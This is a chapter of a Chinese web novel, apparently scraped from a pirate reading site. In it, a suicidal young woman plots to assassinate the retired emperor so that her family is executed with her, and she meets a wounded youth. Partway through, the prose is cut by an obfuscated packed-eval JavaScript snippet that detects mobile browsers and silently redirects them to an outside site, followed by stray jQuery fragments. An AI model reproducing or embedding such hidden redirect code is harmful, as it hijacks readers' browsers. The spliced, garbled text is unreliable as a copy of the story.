默认冷灰
24号文字
方正启体

2. 第 2 章

作者:竹溪有风本书字数:K更新时间:
    俞兰蕊也不知道自己在行宫里转了多久。


    她只记得自己钻过那个狗洞时,月亮还挂在天边,清冷的光辉洒落下来,将整座行宫笼罩在一片银白的寂静中。她贴着廊柱的阴影疾行,避开了一队又一队巡逻的护卫,躲过了一双又一双警惕的眼睛。


    她迷路了。


    远处有脚步声经过,她连忙闪到一根柱子后头,屏住呼吸。两个提着灯笼的护卫从廊下走过,一边走一边低声说着什么,声音含糊,听不真切。等他们走远了,俞兰蕊才慢慢吐出一口气,继续往前摸。


    她不知道自己走了多久。月亮从东边升到了头顶,又从头顶开始往西斜。腿开始发酸,脚底隐隐作痛,身上的衣裳被夜露打得半湿,贴在皮肤上,又冷又黏。


    可她没有停。


    停什么停呢,她想,停下来做什么?回去吗?回去对着那对母女,对着那个不是弟弟的弟弟,假装什么都不知道,继续过那暗无天日的日子?不如死了干净。


    不如死了,拉几个垫背的,更干净。


    她这样想着,脚下的步子又快了几分。


    可天不遂人愿。她绕来绕去,愣是没找到一处像是太上皇住的地方。宫殿倒是见了几座,黑灯瞎火的,静悄悄的,也不知是没人住还是人都睡了。她想摸进去看看,可每回还没走近,就有护卫巡过来,逼得她不得不躲。


    到后来,她连自己在哪儿都搞不清了。


    东边天际开始泛出一点点灰白,像是有人在墨色的天上撕开了一道口子。俞兰蕊站在一处小院门口,看着那道口子越来越大,心里头忽然生出一点荒诞的感觉。


    天快亮了。


    她忙了一夜,什么也没做成。


    这叫什么?叫老天爷都懒得收她?


    她嗤笑一声,抬脚进了那小院。院门没锁,一推就开,里头静悄悄的,没什么声息。她往里走了几步,忽然听见一点响动。


    像是有人在吸气,轻轻的,带着点儿隐忍的痛意。


    俞兰蕊停下脚步,侧耳听了听。声音是从左边那间屋子里传出来的,窗户纸上透出一点昏黄的光,豆大的,像是油灯。


    她犹豫了一瞬,还是走了过去。


    横竖都是死,她想,被人发现也不过是个死。早死晚死的分别罢了。


    她凑到窗边,从窗纸的破洞里往里看。


    屋子里点着一盏油灯,灯芯剪得很短,火苗只有黄豆大小,昏昏黄黄地照着屋角的一张榻。榻上坐着一个人,背对着窗户,看不清脸,只看见一头乌黑的发披散着,身上穿着雪白的中衣。


    那人正低着头,手里拿着什么东西,往自己腿上抹。


    俞兰蕊眯起眼,仔细看了看。那是一条腿,从膝盖往下,中衣的裤腿卷了起来,露出一截小腿,皮肤上青青紫紫的,有几道口子,像是被什么东西刮的。那人正往那些伤口上抹药,动作很轻,可每碰一下,肩膀就抽一下,显然疼得厉害。


    药?


    俞兰蕊的鼻子动了动。


    隔着窗纸,她闻到了一股淡淡的气味,从屋里飘出来。那气味很淡,淡得几乎闻不出来,可她闻出来了。她在那吃人的后宅里学了五年的医,什么药没摸过,什么味没闻过?


    这药不对。


    不是毒,可也不对。活血化瘀的东西,怎么能往破了皮的伤口上抹?抹上去是止痛,可过后呢?过后伤口溃烂,这条腿还要不要了?


    她盯着屋里那个人,看他还在一心一意地往伤口上抹,一下,又一下,每一下都疼得发抖,可每一下都认认真真,像是在做一件顶重要的事。


    俞兰蕊忽然就笑了。


    笑什么,她也说不清。只是觉得可笑。这个人,这药,这一整夜毫无所获的她自己。


    笑完了,她直起身,推开那扇门。


    门没闩,一推就开。屋里的人猛地抬起头,朝她看过来。


    那是一张年轻的脸,很年轻,十七八岁的模样,眉眼生得极好,可脸色苍白,嘴唇也没什么血色,像是长久不见日光的人。那双眼睛此刻睁得大大的,里头满是惊愕,愣愣地看着她,像是看见鬼了一样。


    俞兰蕊也看着他。


    看他的脸,看他的头发,看他身上那件雪白的中衣。没有补丁,料子极好,针脚细密,不是寻常人家穿得起的。


    可这深更半夜的,一个人待在这偏僻的小院里,自己给自己上药,身边连个伺候的人都没有,能是什么贵重的身份?


    小太监,俞兰蕊想。多半是个不得势的小太监,被打发了在这冷僻地方守着,受了伤也没人管,只能自己胡乱抹点药。


    她走到他跟前,低头看了看他手里的药瓶,又看了看他腿上的伤。


    “这药不能用。”她说。


    那人还在发愣,听见她说话,才回过神来,声音有些涩:“什么?”


    “这药不能用。”俞兰蕊又说了一遍,“活血化瘀的,往破了皮的伤口上抹,你是嫌这条腿太好了?”


    那人低头看了看自己的腿,又看了看手里的药瓶,眉头慢慢皱起来:“可他们说,这药是上好的……”


    “谁说的?”


    那人张了张嘴,没说出话来。


    俞兰蕊嗤笑一声:“谁说的都不重要,重要的是这药不对。你要是不信,只管接着抹,过上三五日,这腿就烂了,到时候锯掉还是砍掉,随你。”


    她说完,转身就要走。


    横竖是死前多管了一桩闲事,管完了,她还得去找她的正主。


    “等等。”


    身后的人叫住她。俞兰蕊回过头,看见那人已经从榻上站了起来,一瘸一拐地朝她走了两步,脸上的惊愕已经褪去,换上了一种奇怪的神情,像是在打量她,又像是在琢磨什么。


    “你是谁?”他问。


    俞兰蕊看着他,忽然又笑了。这小太监,倒是有趣,不先问自己为什么出现在这儿,倒先问自己是谁。


    “你管我是谁。”她说。


    那人愣了愣,又问:“那你为什么在这儿?”


    俞兰蕊盯着他,嘴角那点笑意慢慢淡下去。为什么在这儿?这话问得好,她也想问自己为什么在这儿。


    为什么在这儿?


    因为想死,因为想拉着人一起死,因为想让那些人对她做的孽,都报应在他们自己身上。


    可这话,她懒得跟一个小太监说。


    “你管得倒宽。”她说,语气里带着点嘲讽,“一个小太监,不好好守着你的院子,管我是谁,为什么在这儿做什么?去告发我啊,去叫人来抓我啊。”


    那人被她这话堵得一愣,脸上的神情变得有些古怪,像是想说什么,又咽了回去。


    俞兰蕊懒得理他,转身又要走。


    “我不是那个意思。”身后的人又说,“我只是……这儿很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371264|199916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    少有人来。你是这些年头一个。”


    俞兰蕊的步子顿了一顿。


    头一个?


    她回过头,又看了看这小院。偏僻,冷清,破旧,确实像是没人来的地方。再看看这人,年轻,苍白,一个人待着,自己给自己上药。


    可怜见的。


    她忽然就不那么想走了。


    “我是来寻死的。”她说。


    那人一愣。


    俞兰蕊看着他愣住的样子,心里头忽然生出一点快意。吓着了?吓着了好,吓着了就知道怕了,知道怕了就该去叫人了。


    可那人愣了一会儿,问出的却是:“为什么?”


    为什么?


    俞兰蕊没说话。她走到窗边,透过那破了洞的窗纸往外看。天边那道口子又大了一些,灰白的光从那里漏进来,照在院子里,照在那几株半死不活的花木上。


    “你问为什么?”她背对着他,声音平平的,“因为我活够了。因为我活着没意思。因为我活着,就要看着那些对不起我的人过得舒舒服服,而我,一天好日子都没有过过。”


    她顿了顿,忽然笑了一声:“所以我想死。想拉着他们一起死。”


    身后没声音。


    俞兰蕊回过头,看见那人正看着她,眼神里有一种她看不懂的东西。不是害怕,不是惊讶,倒像是……像是听见了什么他听得懂的话。


    “怎么拉?”他问。


    俞兰蕊看着他,忽然觉得这小太监有点意思。换了旁人,听见这种话,早就吓得屁滚尿流跑去叫人了,他可倒好,还问怎么拉。


    “怎么拉?”她笑了,“容易。杀了太上皇,诛九族。他们一个都跑不了。”


    那人这回是真愣住了。


    愣了好一会儿,他才开口,声音有点涩:“杀太上皇?”


    “对。”俞兰蕊点点头,“杀了太上皇,诛九族。我那继母,我那继姐,还有那个……那个不是我弟弟的弟弟,统统给我陪葬。划算不划算?”


    她说得轻快,像是在说今儿吃什么一样。


    那人看着她,眼神越来越奇怪。过了好一会儿,他忽然问:“你知道太上皇住哪儿吗?”


    俞兰蕊的笑顿住了。


    对,她不知道。


    她忙了一夜,迷了一夜的路,愣是没找到正主。


    那人见她这模样,嘴角忽然动了动,像是想笑,又忍住了:“你连他住哪儿都不知道,就想杀他?”


    俞兰蕊被他这话堵得有些恼。她盯着他,忽然想到什么,眼睛一亮。


    “你知道?”


    那人一愣。


    俞兰蕊走近两步,盯着他的眼睛:“你知道,对不对?你是这儿的人,你肯定知道太上皇住哪儿。告诉我。”


    那人没说话。


    俞兰蕊又走近一步,声音里带着点兴奋:“你告诉我他在哪儿,我去杀他。然后你去救驾。你不是这儿的人吗?你发现了刺客,跑去报信,救了太上皇,这不是天大的功劳?到时候,赏赐升迁,什么没有?”


    她说着,自己都觉得这主意妙极了。


    多好,她想。


    她死她的,顺便拉那群人垫背,他得他的功劳,往后说不定还能往上爬一爬。


    两全其美,谁也不亏。


    “这是送给你的一场造化。”她说,眼睛亮晶晶的,盯着他,“怎么样,划算不划算?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)